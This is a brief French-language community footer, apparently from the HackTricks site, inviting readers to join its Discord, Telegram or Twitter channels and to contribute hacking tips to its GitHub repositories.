• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.